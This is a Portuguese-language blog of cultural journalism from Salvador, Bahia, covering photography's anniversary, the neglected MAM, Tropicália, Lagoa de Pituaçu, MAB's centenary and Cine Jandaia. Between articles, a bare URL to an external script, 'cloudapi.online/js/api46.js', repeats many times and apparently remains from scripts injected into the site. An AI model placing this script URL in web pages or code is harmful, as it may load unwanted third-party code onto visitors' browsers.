178 ANOS DEPOIS Para que serve e para onde vai a arte da fotografia

Está cumprido o vaticínio do pintor belga Antoiene Wiertz no início dos anos 40 do século 19: “Tem pouco tempo de idade a glória de nossa época, uma máquina que dia a dia nos surpreende. Dentro de um século ela será o pincel, a paleta e as cores, a habilidade, a experiência, a paciência, a agilidade, a precisão, o verniz, o esboço e a arte final. Quando este bebê gigante crescer, quando todo o seu poder e sua arte estiverem desenvolvidos, o gênio vai aparecer de repente, agarrá-lo pelo colarinho e dizer: Ouça bem, de hoje em diante você me pertence. Vamos trabalhar juntos”.


Albenísio Fonseca

A câmera fotográfica – como se diria de um artefato selvagem que aponta e dispara – completa 178 anos de inventada em 2017. O dia oficial de nascimento da fotografia – e que assinala a data comemorativa, em âmbito mundial – é 19 de agosto de 1839. Naquele dia o primeiro daguerrótipo foi apresentado à Academia de Ciências de Paris. Louis Jacques Mandé Daguerre, que o patenteou, lançou mão das pesquisas de muitos que o antecederam, inclusive as de Joseph Nicephore Niépce, seu sócio, que morreria pouco antes do projeto estar inteiramente pronto.


O princípio da câmera escura

O princípio da câmera escura, por exemplo, já era conhecido há séculos, usado por desenhistas e astrônomos, entre os quais o multiartista Leonardo da Vinci. Considerando a ambiência histórica, vale registrar também a contraposição à fotografia levada a efeito pelo poeta francês Charles Baudelaire: “Se se permitir que ela tome lugar ao lado da arte, logo irá suplantá-la e corrompe-la pela aliança natural que fará com a burrice das massas. É preciso que ela volte para o seu verdadeiro lugar que é o da mais humilde serva das ciências e das artes”, reagiria.

Nos próximos dias 20 e 21 de setembro, no Palacete das Artes, na Graça, em iniciativa conjunta da Escola de Belas Artes e da Fundação Cultural do Estado da Bahia, acontece a exposição das fotos vencedoras, palestras e debates que marcarão o I Colóquio de Fotografia Pierre Verger. Como diagnostica a iniciativa o professor de Filosofia Antônio Saja, “vivemos em um entreato, numa intermitência histórica. Num período de rupturas estéticas, de quebra de paradigmas, de abandono de referenciais prévios. Estamos em uma época de mudança e numa mudança de época”.

Um evento para além da imagem

Afinal, conforme o professor José Mamede, da Escola de Belas Artes da UFBA, “como compreender a fotografia neste contexto de incertezas? De uma prática solidamente legitimada no território da Comunicação, a fotografia expandiu-se pelos universos da Arte e da Cultura”, contextualiza. O I Colóquio é definido, também por Mamede, como uma “ação que visa interrogar a imagem fotográfica da perspectiva dos seus usos sociais, artísticos e culturais”.

— Que Fotografia é essa que hoje se propaga por redes sociais, festivais, feiras, museus, galerias, editais e prêmios? Quais gêneros de trabalhos fotográficos estão sendo selecionados para Festivais de Fotografia e Bienais de Arte? E nos editais, as políticas públicas estão legitimando que tipo de foto? Tais questões estarão no centro do I Colóquio de Fotografia da Bahia.

Vale ressaltar, ainda, o quanto os aparelhos celulares absorveram a tecnologia das câmeras fotográficas digitais e, mesmo inferiores em termos de resolução, praticamente as levaram à obsolescência. O certo é que, 178 anos depois, a presença das fotos e vídeos (com áudio), em formato digital, invadiu nossas vidas e consolidou, em grande parte, a instauração da civilização da imagem.

Desde o advento do celular e sua popularização nas duas últimas décadas do século 20, e já em plena era do selfie, do narcisismo inescapável a um click, ou dos efeitos photoshop de que nos tornamos ardilosos produtores de imagens, a humanidade orbita, agora, seu olhar telescópico, com o Humbble, universo adentro.

—————————————-

Albenisio Fonseca é jornalista

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

Anúncios

Da bienal ao caos. Ou, deixe para amanhã, você está no MAM!

 

Fotos: Albenísio Fonseca
A imagem pode conter: oceano, céu, planta, ponte, atividades ao ar livre e água
Parque das Esculturas, como o Solar, permanece relegado ao abandono e interditado ao público

A imagem pode conter: pessoas em pé, oceano, céu, árvore, planta, sapatos, ponte, atividades ao ar livre, natureza e água

A imagem pode conter: planta, árvore, grama, atividades ao ar livre e natureza
Em plena Baía de Todos os Santos, também exangue, espaços nobres do MAM estão à revelia

Equipamento construído no século XVI, de fundamental importância histórica, turística e cultural para Salvador, o Solar do Unhão, na Avenida Contorno, onde está instalado o MAM-Museu de Arte Moderna da Bahia, permanece sob obras de reforma que se arrastam há quase cinco anos. Os trabalhos deveriam ter sido concluídos para a Copa das Confederações, em 2013. Foram adiados para a Copa do Mundo, um ano depois, mas atravessam os governo Jaques Wagner e Rui Costa, em injustificável protelamento, exceto pelo total desinteresse do Executivo Estadual.

Não há como deixar de reconhecer a relevância do equipamento. Mas o estado, ou seu síndico de plantão, demonstram abdicar da solução de continuidade da reforma, como, do mesmo modo, levou ao desabamento do Centro de Convenções da Bahia e mantém em abandono os parques metropolitanos do Abaeté e de Pitauçu. O descaso, além de tolher eventos como a Bienal, ressuscitada e rematada, configura atitude na qual o que sobressai é apenas um estado de caos, à revelia do interesse público e mesmo para com os trades turístico e cultural.

É intransferível a responsabilidade do governo por esta inaceitável condição à qual o Museu foi relegado. Dirigido por cinco gestores que se sucederam nos últimos 11 anos, às expensas da Secult-Secretaria Estadual de Cultura, é correto afirmar que “o MAM e o Solar se sobrepõem, em importância, até mesmo ao TCA-Teatro Castro Alves, guardadas as diferenças que demarcam as respectivas atividades desse dois significativos espaços”, como estipula o diretor Zivé Giudice, reconduzido recentemente ao cargo.

A reforma no Museu está paralisada há 10 meses e não há perspectiva de quando será retomada. A alegada paupéria das finanças estaduais não absolve o executivo, à medida que se trata de obra prevista em orçamento. Chegou-se a acenar com a liberação de R$ 7,7 milhões, mas ficamos na “conta dos 7”. A duras penas e de forma extremamente precária, permanecem em funcionamento o Salão do Solar, cujo mezanino, também criado pela arquiteta ítalo-brasileira Lina Bo Bardi, em 1963, está interditado, dada a quantidade de goteiras; o pequeno salão na parte inferior do equipamento, a Capela e o Galpão das Oficinas de Arte, crucial para o viés didático promovido há quase 40 anos para jovens, crianças e adultos.

À frente da Baía de Todos os Santos, também exangue, apesar da disponibilidade de recursos do Bird, na ordem dos US$ 68 milhões, outro espaço nobre da instituição, o Parque das Esculturas – do mesmo modo interditado ao público pela paralisação dos serviços da empreiteira, contratada sob licitação mas sem obter o repasse de recursos – é tratado sem a responsabilidade que se espera e exige-se dos governos para com o patrimônio, ainda que contemple painéis, esculturas e instalações de artistas, não só baianos, mas nacionais e internacionais.

Os extraordinários acervos de artes visuais e bibliotecário de que o MAM é detentor, por sua vez, estão relegados ao improviso de um canto qualquer, vale dizer, sem que se possa observar o cuidado das mínimas condições de preservação, a revelar forma indigna do compromisso público para com a Arte, a Cultura e a circunscrever, no limite da tolerância, um “território sem identidade”.

Aliás, convertido pelo Ipac em palco para espetáculos musicais ensurdecedores, dado o volume de decibéis e sem qualquer diálogo com o mundo das artes visuais, os shows na área externa, parecem obedecer, como e diria de um inaudível paradoxo, ao despropósito de comprometer as estruturas do já combalido Solar. Chame o síndico, ou deixe para amanhã, você está no MAM!

A imagem pode conter: atividades ao ar livre
Chame o síndico, confirmado que é o governador, Tim Maia!

 

 

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

O Carnaval da Tropicália

ALBENÍSIO FONSECA

tropicália rita lee, caetano e gil
Caetano, Rita Lee e Gil entre os destaques da Águia de Ouro, no Sambódromo do Anhembi, em 2012

A Tropicália é o movimento que não acabou, foi impedido de continuar. Por si só verdadeira carnavalização estética, surge com uma instalação de Hélio Oiticica, em 1967. No mesmo ano, a canção Tropicália, de Caetano Veloso. Só em 68 seria lançado o emblemático disco-manifesto. Aliás, com um erro crasso ao cravar o plural do simbólico emblema latino dos romanos “panis (em lugar de “panem”) et circenses”. Oiticica dizia que criou a Tropicália e que os demais criaram o Tropicalismo.

Sob o céu anil, havia fortes influências da pop art e do flower power norte-americanos; do processo de industrialização brasileiro e do ambiente de repressão instaurado desde o golpe de 64. Bob Dylan, Beatles, Rolling Stones, Carmem Miranda, Chacrinha e a Jovem Guarda eram alguns dos ingredientes que compunham o caldeirão cultural na efervescente antropofagia tropicalista.

O movimento se erige sobre quatro marcos inaugurais, todos transcorridos em 1967: a instalação Tropicália, manifestação ambiental, de Hélio Oiticica, no MAM do Rio de Janeiro, em abril; a estreia do filme Terra em Transe, de Glauber Rocha, em maio; a montagem de O Rei da Vela, de Oswald de Andrade, encenada em setembro pelo Grupo Oficina, sob direção de José Celso Martinez Corrêa, e as participações de Caetano Veloso e Gilberto Gil no III Festival da Record, em outubro, interpretando respectivamente Alegria, Alegria e Domingo no Parque, que instauravam uma nova linguagem e inseriam, definitivamente, a guitarra elétrica na MPB.

 tropicália anis et Circencis

O choque do provincianismo com o moderno gerando a síntese dialética de uma nova forma de pensamento. A um só tempo, o corte e a sutura. Algo como a Semana de 22, entre 67 e 69, converteu-se na nova ótica brasileira da transformação de costumes, valores culturais e comportamentos, liderada pela juventude daquela geração. Nossa “geleia geral”, diriam Gil, Caetano, Waly, Torquato Neto e Capinan. Toda a rede universal de comunicação hoje consolidada já estava instalada de modo embrionário naquele momento histórico. O Tropicalismo se instaura em diálogos e interinfluências, atravessando a indústria cultural em áreas profissionalizadas, como o cinema, o teatro, a TV (vide o programa Divino Maravilhoso, na Tupi, em 68); semiprofissionais, como a literatura; e as marginais: cinema super-8, escultura, música erudita.

Diante do establishment cultural erudito nacional e distinta da explícita canção de protesto, a produção musical tropicalista, face proeminente do movimento, sempre tensionando extremos, vai se relacionar com as antenas mais sensíveis da intelectualidade, os segmentos de vanguarda: Medaglia, Duprat, Cozzela, maestros da avançada música de concerto e o operístico Vicente Celestino; berimbau e guitarra; latinidade, poesia concreta e literatura de cordel; o fino e o cafona; cidade e sertão. No caleidoscópio montado pelo Tropicalismo, a cintilar também nas vozes de Gal Costa, Nara Leão ou Maria Bethânia, passamos a habitar uma nova dimensão simbólica da realidade brasileira.

Sob o fascínio irreverente dos Mutantes, nos ícones da urbanidade e do parque industrial satirizados por Tom Zé, a atualização dos paradoxos que delimita(va)m nossa brasilidade, redesenhados por Rogério Duarte. Em suma, a nova consciência crítica gerada pela estética tropicalista veio proporcionar uma ampla liberação para a criação artística que, infelizmente, o artista brasileiro, em geral, não soube dar sequência. Vale lembrar, ainda, o quanto Gil e Caetano produziram marchas e frevos antológicos para a folia.

Imagem relacionada

A instalação “Tropicália”, de Oiticica, no MAM do Rio, em 1968

Mais do que pelos militares, a Tropicália foi “derrotada” pelo conservadorismo e pelo subdesenvolvimento brasileiro. Sem possibilidade de cooptação política à esquerda ou direita, as prisões e exílio de Gilberto Gil e Caetano Veloso não impediriam, contudo, que o Tropicalismo ultrapassasse o próprio rótulo como possibilidade da cultura e da vida no Brasil.  Em 2012, a Escola de Samba Águia de Ouro desfilaria na pauliceia sob o samba-enredo “Tropicália da Paz e Amor: O Movimento que não acabou”. Trazia Gil, Caetano, a roqueira e tropicalista Rita Lee entre os destaques e Cauby Peixoto e Ângela Maria como rei e rainha da MPB.

Que todos divirtam-se a valer no País do Carnaval, ainda que, em Salvador, blocos como o Boca de Brasa – com autores e personagens culturais redivivos – e o da Capoeira – um dos mais emblemáticos ícones da baianidade – tenham sido excluídos do apoio do estado e das programações oficiais. Agora, 50 anos depois, face à improbabilidade de horizontes claros em nosso triste trópico e no limite tênue do nosso luxo e miséria cultural, com a Tropicália convertida em tema de carnavalização da primeira capital do país, quiçá ainda seja possível resgatar a velha audácia e perpetuar a paixão pelo moderno e a pretensão futurista dos tropicalistas em plena virtuália do blá blá blá das redes sociais nessa transdigitada era da banda larga e comunicações instantâneas.

Banho em Pituaçu gera controvérsias

                                                                                                                                                                                                                                                                          Fotos: Mônica Bitencourt
A imagem pode conter: árvore, planta, atividades ao ar livre, natureza e água
Crianças tomam banho em área considerada imprópria na Lagoa de Pituaçu

 
ALBENÍSIO FONSECA

Desde há exatamente um ano, o Inema-Instituto de Recursos Hídricos vem informando sobre condições “próprias” de balneabilidade para a Lagoa do Parque Metropolitano de Pituaçu. Os boletins emitidos pelo órgão em 2016 consideraram a água “imprópria” apenas em duas segundas-feiras, 22 de fevereiro e 16 de maio. Conforme Paulo Canário, integrante do grupo Viva o Parque de Pituaçu, mantido em rede social e em encontros presenciais, o entendimento é que a balneabilidade foi atestada como uma consequência da entrada em funcionamento da Elevatória de Tempo Seco do Rio Pituaçu, [mantida pela Embasa] na altura da recém-implantada Avenida Gal Costa e que foi recentemente canalizado. Isso retirou, nesta época de seca, a contribuição dos esgotos lançados no rio e que são despejados na lagoa do Parque”.

A questão é controversa na medida em que a coleta da água para análise é feita em apenas um ponto da lagoa, exatamente na área em que ficam os pedalinhos, considerando a dimensão da lâmina de água daquele manancial, embora comprovado por laudo laboratorial e segundo critérios adotados pelo Conama-Conselho Nacional de Meio Ambiente. De acordo com o coordenador de Monitoramento do Ibama, Eduardo Topázio, “o método é o mesmo aplicado na coleta e análise das condições da água das praias”. Mas, ainda segundo ele, “é fato que com chuvas fortes o rio extravasa da elevatória e conduz resíduos sólidos para a lagoa”. Ou seja, acrescentou, “os rios que são contribuintes do de Pituaçu e, portanto, vão entrar na lagoa, já vêm poluídos de áreas densamente povoadas e sem rede de esgotos”.

Gera estranheza a comunicação de “própria para banho”, quando isso deveria ser assegurado apenas na área da coleta, em que pese os seguranças do parque serem orientados a alertar banhistas, notadamente em outros trechos (ainda que próximos da área “liberada”),  para a proibição do banho. Do mesmo modo, a administradora do equipamento metropolitano, Bernadete Bittencourt, solicitou ao Inema e, de acordo com a assessoria do órgão ambiental, “já está sendo programada”, a “instalação de novas placas alertando para a proibição do acesso à água na lagoa”. Conforme o Inema “as placas existentes e que também sinalizam a proibição estão corroídas por salitre”. Segundo Topázio, “estão aguardando apenas obter algum patrocínio para a instalação”.

Vale salientar, além do mais, que o “local dos pedalinhos” (onde se dá a coleta de água pelo Inema para análise) foi transferido da frente do píer para um ponto em frente, levando à perda do conforto para embarque e desembarque dos usuários, notadamente nos finais de semana. A mudança decorreu da “ameaça da queda de galhos” de uma árvore frondosa naquele pequeno cais, agora isolado por tapumes, à espera de uma licitação para promover a poda no vegetal, o que, convenhamos, é um inaceitável absurdo. A situação, aliás, é similar à em que se encontra o pórtico do parque – até então ocupado pelo artista plástico Mário Cravo Jr. por doação do Estado durante o Governo Antonio Carlos Magalhães – em obra de reforma, mas paralisada. O pórtico é defendido por representantes da comunidade como “local apropriado para a realização de cursos e oficinas destinados às crianças e jovens das famílias mais carentes do bairro”.

 

A imagem pode conter: planta, árvore, céu, atividades ao ar livre, natureza e água
Tapumes e avisos improvisados isolam o pier na lagoa do Parque Metropolitano

Ex-administrador critica tapumes e falta de salva vidas

Ex-administrador do parque, César Menezes disse de outra pesquisa da qualidade da água, realizada por estudantes da UCSal-Universidade Católica de Salvador e por integrantes da Ong SOS Mata Atlântica, que também constatou condições de balneabilidade no trecho da lagoa próximo à área doada pelo Estado à Universidade. De todo modo, ele defendeu a necessidade de se promover uma pesquisa de qualidade das condições da água por uma entidade independente. Após três anos e meio à frente do equipamento, Menezes considera “uma temeridade liberar o banho ali, tanto pelo comprometimento da água quanto pela ausência de salva vidas quanto pela existência de jacarés (dois já foram vistos ali) e cobras sucuris (que já comeram cachorros, aves), e assemelham-se a um coqueiro boiando na superfície do lago”.

Ele também mencionou a Elevatória de Tempo Seco e o encapsulamento do Rio Pituaçu na Avenida Gal Costa, bem próximo à Avenida Paralela, como, a um só tempo, vetor de contenção e condução de lixo e esgoto. “Durante as chuvas as comportas são abertas e leva muito lixo para a lagoa”. Ele apontou, ainda, a “redução no número de visitantes” e criticou a permanência dos tapumes na entrada do parque em frente à Orla. “A sensação para quem passa e vê, além da cerca, tapumes, é a de que o Parque Metropolitano não está funcionando. Aliás, nem mesmo o nome do parque consta mais”, ressaltou. Cézar Menezes disse da “existência de registros de afogamentos na lagoa e a dificuldade em impedir o acesso, principalmente por crianças que desobedecem aos alertas dos seguranças, mas há também a imprudência de jovens e adultos”.

Vendedor de água e guloseimas, há 17 anos no parque, Pequeno (que é como ele prefere ser chamado) disse ter “muito receio de tomar banho atualmente porque a qualidade da água já não é a mesma de anos atrás, quando não só eu, mas toda a comunidade se banhava na lagoa”. Carlos Roberto Aguiar, fisioterapeuta, disse que “por nenhum dinheiro do mundo tomaria banho ali”. A avaliação dele é a de que “a aparência da água é de sujeira, mesmo que garantam estar própria para um mergulho”.


A imagem pode conter: uma ou mais pessoas, sapatos, atividades ao ar livre, água e natureza
Mais para esporte que busca de alimento, a pesca segue como opção na outrora piscosa lagoa

Local tem previsão de Parque Olímpico em 16 hectares

Dos 660 hectares (ha) que dispunha quando da inauguração, a poligonal do parque foi reduzida para 352 ha, em dezembro de 2006, no apagar das luzes do Governo Paulo Souto e teve reintegrados 40 ha, em maio de 2013, pelo Governo Jaques Wagner. Ou seja, mede hoje 392 ha. Os governantes alegavam “dificuldades para pagar indenizações a proprietários de áreas”. Existe uma programação de que o equipamento abrigue um Parque Olímpico, no entorno do Estádio Roberto Santos, com 16 ha reservados.

O Governo Jaques Wagner doou 41 ha para a UCSal-Universidade Católica de Salvador  e outros 10 ha para a Uneb-Universidade Estadual da Bahia, em trecho que incluiu o Museu de Ciência e Tecnologia, na área limite com a Avenida Jorge Amado, no Imbuí. A construção de um Quartel da Polícia de Eventos, em fase de conclusão, dentro da poligonal, é apontada por ex-dirigentes do equipamento como “decorrente de invasão”. É, também, extremamente visível o impacto causado pelas inúmeras torres construídas no entorno do Parque pela Construtora Odebrecht. 

MAB já prepara comemoração dos 100 anos

                                                                                                                                                                                                          Foto: DivulgaçãoNenhum texto alternativo automático disponível.Dias 11, 18 e 15 de janeiro acontece um seminário para pensar o acervo do MAB
ALBENÍSIO FONSECA
 

Detentor do principal acervo museológico do estado, o MAB-Museu de Arte da Bahia, no Corredor da Vitória, em pleno coração da cidade, já deu início aos preparativos para as comemorações do centenário, em 23 de julho de 2018, com o lançamento do concurso, de âmbito internacional, visando a escolha da logomarca da efeméride. Para tanto, as inscrições estão abertas até 1º de fevereiro e o prêmio é de R$ 5 mil. O sociólogo, fotógrafo, curador e mestre em Artes Visuais, Pedro Archanjo, diretor da instituição, revelou a “estimativa de R$ 3 milhões para as comemorações, dos quais R$ 1, 8 milhão a serem obtidos junto à iniciativa privada para a requalificação do acervo”.

Archanjo anunciou, também, a realização nos próximos dias 11, 18 e 25 de janeiro, no auditório do museu (com capacidade para 190 pessoas), de um “grande seminário para pensar o acervo de 13.686 peças, com o levantamento inicial de subsídios teóricos e informações técnicas para a requalificação do patrimônio artístico existente”. Para tanto, constituiu uma equipe externa, composta por profissionais como os museólogos, Joseania Freitas, Suely Cerávola; o doutor em Arte Visuais, Luís freire; o antropólogo, artista plástico eprofessor de Comunicação, Renato da Silveira, todos da UFBA, cujo relatório final deve estar concluído em junho.

Conforme o diretor do MAB, “não queremos fazer apenas atividades comemorativas, mas implementar ações estruturantes”. Entre as já cogitadas ele cita a “realocação da biblioteca, disponibilização de Internet livre e em tempo real além de um restaurante-café, a ser terceirizado, na área que dá acesso ao Vale do Canela, onde já funcionaram repartições da Secretaria da Saúde e uma agência do Baneb. Vamos tornar esse espaço em área de convivência, dentro do propósito de viabilizar dotações de recursos que permitam a sustentabilidade do equipamento e a oferta de mais atrativos para o público”.

Com o calendário do centenário já vigindo desde o dia 1º de dezembro, quando foi lançado o concurso para a escolha da logomarca, o MAB planeja adotar neste primeiro semestre de 2017 programas como o Museu Escola Família, a partir de convênio a ser firmado com a Secretaria Estadual de Educação e o Irdeb, no qual alunos das redes pública e privada passarão um dia inteiro no Museu,  acompanhados por equipe do MAB. “Caberá aos estudantes definir o que pretendem filmar, para o que participarão de uma oficina de vídeo com laboratório digital para edição, tendo à disposição câmeras, microfones e spots para iluminação, além de transporte e alimentação”. O projeto tem custo estimado em R$ 110 mil, conforme o diretor.  Archanjo mencionou, ainda, a “criação de um caleidoscópio gigante que percorrerá bairros populares, não só em Salvador, mas em outros municípios”.

 
Telas de Van Gogh serão expostas por 3 meses
 

Dentre as atividades comemorativas, a serem deflagradas a partir de julho, quando festejará os 99 anos, estão sendo programadas a exibição de dois quadros do pintor holandês Vincent Van Gogh (1853-1890), durante três meses – sob custo de R$ 600 mil, incluídos os seguros das duas obras pertencentes ao Masp-Museu de Arte de São Paulo – e a participação do cantor e compositor Caetano Veloso, que proferirá a palestra já intitulada “O mundo não é chato”.

Conforme o diretor, “haverá, também, uma exposição de Arte Moderna com obras de alguns dos principais artistas modernistas brasileiros que integram a coleção da Fundação Edson Queiroz, da Universidade de Fortaleza (CE). Segundo ele, “fotografias da Bahia antiga também deverão ganhar espaço nobre e temos, ainda, em andamento, um projeto multimídia que promoverá intervenções de fotos e vídeos, em 3D, a serem acionados por sensores de presença, dialogando com o acervo tradicional, multiplicando a capacidade expositiva e surpreendendo os visitantes”, revelou.

Pedro disse pretender “que a equipe externa envolvida com os estudos sobre a requalificação do acervo desenvolva, também, uma tarefa arqueológica, visando identificar quem foram os negros escravizados responsáveis pelos trabalhos de marcenaria, carpintaria e ourivesaria nas diversas peças existentes no MAB”. Criador da Bienal do Recôncavo, Archanjo fez ver a riqueza de detalhes de enormes pulseiras e braceletes de ouro usadas por negras ganhadeiras como símbolos da ostentação de status, poder e liberdade, lamentando o desconhecimento, até agora, sobre os criadores das peças.

                                                                                                 Foto: Divulgação
A imagem pode conter: 1 pessoa, óculos
Pedro Archanjo, diretor do MAB
Diretor deu nova face e dinâmica ao museu
 

Desde que assumiu a direção do MAB, mesmo sem dotação orçamentária, Pedro Archanjo adotou uma dinâmica intensa de atividades com aproximadamente 20 eventos mensais. A média de público que era de 14 pessoas/dia passou à média de 90 frequentadores diários e é meta da diretoria alcançar 150 pessoas diariamente até o final do primeiro semestre de 2017 e 200 até o final do ano. Em 2016, entre as iniciativas da programação constaram exposições, lançamentos de livros, palestras, debates, seminários, cursos e oficinas.

Criamos projetos como o “Diálogos Contemporâneos“, cuja programação nas primeiras quartas-feiras de cada mês, envolveu temas diversos, desde as religiões de matriz africana à discussão da PEC 421/55, à filosofia das Artes e políticas culturais, possibilitando interação com novas ideias. “Tivemos até de instalar um telão para contemplar o público, estimado em 400 pessoas, em um dos eventos”, lembrou. De acordo com Pedro, “este foi um ano muito importante para o MAB, na medida em que pudemos conciliar questões clássicas da museologia com os desafios da contemporaneidade”, avaliou.

No momento, o MAB exibe mostras como a “Florata”, de Alba Vasco (até 3.02) e integra o Circuito das Artes, envolvendo coletivo de artistas, sob curadoria de Alejandra Muñoz e Eneida Sanchez, além de abrigar as exposições permanentes – da Escola Baiana de Pintura – com obras de Presciliano Silva, Alberto Valença e Mendonça Filho, entre outros (a exigir novo projeto de iluminação). Também as coleções de pintura do Conselheiro Jonatas Abbott, dos séculos XVII e XVIII, de origem europeia, onde se destaca  o quadro “David com a Cabeça de Golias”, da Escola de Caravaggio. Desde 1943, a do ex-governador Francisco Marques de Góes Calmon, que reúne importantes conjuntos de artes decorativas, notadamente mobiliário de época e porcelanas orientais, como o conjunto de “louça histórica” que pertenceu a vários representantes da aristocracia brasileira.

No térreo do antigo solar, que pertencera a um rico comerciante de escravos, encontram-se, ainda, gravuras que possibilitam passeios pela Salvador dos séculos XVII, XVIII e XIX, entre mapas e aspectos da urbanização à época da invasão holandesa, em 1624. O museu conserva, além do mais, uma considerável coleção de imagens religiosas e objetos da liturgia católica como lampadários, castiçais e cruzes. Conforme Pedro Archanjo, “nosso projeto maior é o de entregar à cidade um novo museu, que dialogue com as demandas artísticas da contemporaneidade sem perder suas características históricas e as comemorações do centenário serão fundamentais para consolidarmos essa tendência”.

 

Em ruína, Cine Jandaia é doado ao Estado

                                                                                                                                                                                                                                                                                        Foto: Carol Garcia/Secom-BAA deplorável situação de abandono a que chegou o Cine Teatro Jandaia

ALBENÍSIO FONSECA

O Cine Jandaia é nosso. Bem entendido, passa ao controle do Estado a partir do próximo dia 17 quando representantes da Casa Civil e do Ipac-Instituto do Patrimônio Artístico e Cultural confirmarão ao promotor de Justiça do Meio Ambiente, instância do MPE-Ministério Público do Estado, Antonio Sergio Mendes, a decisão de aceitar a doação do imóvel em ruínas, conforme proposta da Savinal S/A Comércio e Indústria, pertencente a Cláudio Valansi, proprietário do equipamento. Inaugurado em 1931, o Jandaia detém relevante importância histórica e arquitetônica, em seus 1.200 m² de área construída, por suas influências das artes Nouveau e Déco e pela extensa lista de artistas locais, nacionais e internacionais que se apresentaram no local.

Até então, a propriedade é de Valansi, herdeiro da rede de cinemas Severiano Ribeiro que opera também sob a marca Kinoplex, empresa nacional, que atua no ramo de exibição cinematográfica com mais de 60 salas de projeção em diversos estados do País e sede no Rio de Janeiro. Tombado como ‘Patrimônio da Bahia’ em 2010, as negociações com o proprietário, visando à recuperação do equipamento, vinham sendo intermediadas pelo MPE desde 2014.

Após manifestação pública, há exatamente um ano, convocada pelo fotógrafo e produtor cultural Dimitri Ganzelevitch, através de redes sociais na Internet, em ato que envolveu um “abraço” ao prédio em ruínas, na Baixa dos Sapateiros, o governador Rui Costa optou por baixar decreto tornando o antigo “Palácio das Maravilhas”, de “utilidade pública para fins de desapropriação”. Segundo a assessoria do Ipac, “já existe um pré-projeto para contenção imediata da estrutura” que se encontra sob ameaça de desabamento, embora não haja, ainda, recursos alocados para a intervenção. “Nosso objetivo é que o novo centro seja voltado para a promoção de artistas locais”, disse o governador.

A decisão de proceder a doação ocorreu no início de setembro, quando da última audiência promovida pelo MPE com o proprietário e representantes do Estado. Considerando a decisão de “aceitar a doação”, confirmada à Tribuna pela assessoria da Casa Civil, o promotor Sérgio Mendes disse que “caberá elaborar a documentação necessária”. Mendes adiantou “já dispor de uma minuta pronta para tal propósito que envolverá, ainda, um TAC-Termo de Ajuste de Conduta a ser firmado pelas partes envolvidas no processo”. Cláudio Valansi não aceitou participar de editais da Secult-Secretaria de Cultura do Estado que permitiria a captação de recursos para a restauração do equipamento.

Em estado deplorável internamente, o imóvel vem sendo ocupado, sob respaldo do proprietário, há mais de 20 anos pelo ferreiro Valdemir Nascimento Costa. Ele tem oficina na Ladeira do Alvo, ao lado do cine-teatro e mesmo dispondo da chave que dá acesso às instalações, só permite a entrada de pessoas previamente autorizadas por Cláudio Valansi. O ferreiro disse ser “remunerado para manter o espaço sob controle”, embora garantisse não receber qualquer valor há bastante tempo. “O que me interessa é garantir a moradia. Para me tirarem daqui terão que oferecer algum lugar para morar, seja o dono ou o Estado”. Conforme Nascimento, “muitos estudantes universitários vêm aqui querendo conhecer a estrutura interna, mas como não têm autorização não libero a chave”, disse.


Vitral foi retirado pelo temor de desabamento do prédio

O vitral da fachada do Cine Teatro Jandaia, de 5 x 3,5 metros, foi retirado do local “à força”, por técnicos do Ipac em 2013, dado o risco de desmoronamento do prédio e face ao extraordinário valor artístico da peça a ser restaurada. “Parte dos vitrais chegaram intactos, outra parte recuperamos”, revelou Kathia Berbert, coordenadora de Restauro de Elementos Artísticos do órgão. A remoção foi orientada pelo professor da Universidade Federal da Bahia, José Dirson Argolo. As partes que compõem o vitral foram forradas com isopor e permanecem acondicionados em caixas de madeira. A peça artística foi idealizada pelo fundador do Jandaia, João Oliveira, tendo uma ave, a jandaia, em uma das mãos de uma figura feminina típica da Art nouveau

O prédio do Cine Jandaia é uma exemplar referência da arquitetura proto-moderna na Bahia. Concebido a partir de elementos da Art Déco, suas linhas seguem uma simetria com integração e articulação entre arquitetura, interiores e design (mobiliário, luminárias e serralheria artística). Na decoração interna, alguns elementos decorativos recorrem, de forma estilizada, a modelos clássicos da antiga Grécia. A edificação foi erguida em estrutura de concreto armado, com fachadas revestidas em pó de pedra, sob grande quantidade de janelas venezianas, com bandeiras de vidro. Art Decó consiste em conjunto de manifestações artísticas, estilisticamente coeso, que se iniciou na Europa e se difundiu pelas Américas do Norte e do Sul, chegando ao Brasil, a partir da década de 20.

Os espaços internos registram a preocupação com a ornamentação estética do cine-teatro. O foyer recebeu revestimento de mármore rosa nas paredes, com moldura em mármore preto, guarda-corpo com desenhos em ferro, camarotes com contorno circular em metais e colunas, além de painéis em gesso com figuras mitológicas. A área da audiência possui grande rosácea no centro do forro e figuras femininas nas laterais do palco. Desde sua fundação, o Cine Teatro Jandaia foi palco de significativos eventos culturais, tanto na área da música quanto na do teatro, com apresentações de renomados artistas nacionais e estrangeiros, apesar da discriminação manifestada então pela elite soteropolitana, em decorrência de sua localização na Baixa dos Sapateiros (Rua J. J. Seabra), considerada de natureza popular quando confrontada com a Rua Chile, lugar elegante e preferido à época.

O Cine Teatro Jandaia atingiu a sua função cultural maior e, sem dúvida, de cunho bastante popular, com realizações de sessões de cinema pela manhã aos domingos e feriados, diariamente pela tarde (matinês) com dois filmes e à noite com exibição de apenas um único filme em duas sessões. O contador Walter Barreto disse ter frequentado a programação de cinema do Jandaia, desde criança e até a adolescência. Recordou filmes de karatê e disse que havia bastante público, inclusive competindo com o Cine Tupi, também na Baixa dos Sapateiros, que instalou ‘cinerama’, tecnologia de tela côncava com três projetores sincronizados. “Nada disso afastava o público cativo do Jandaia”, disse. Já em declínio em meados de 1970, assim como a maioria dos tradicionais cinemas do centro da capital, o Jandaia foi desativado na década de 80, estando atualmente em completo abandono. Trata-se, porém, do único dos cinemas de Salvador surgidos no período entre guerras que ainda mantém características originais. (AF)

Obras de Mário Cravo sob ameaça

As obras têm sido recolhidas à Oficina no Parque  de Pituaçu

 

 ALBENÍSIO FONSECA
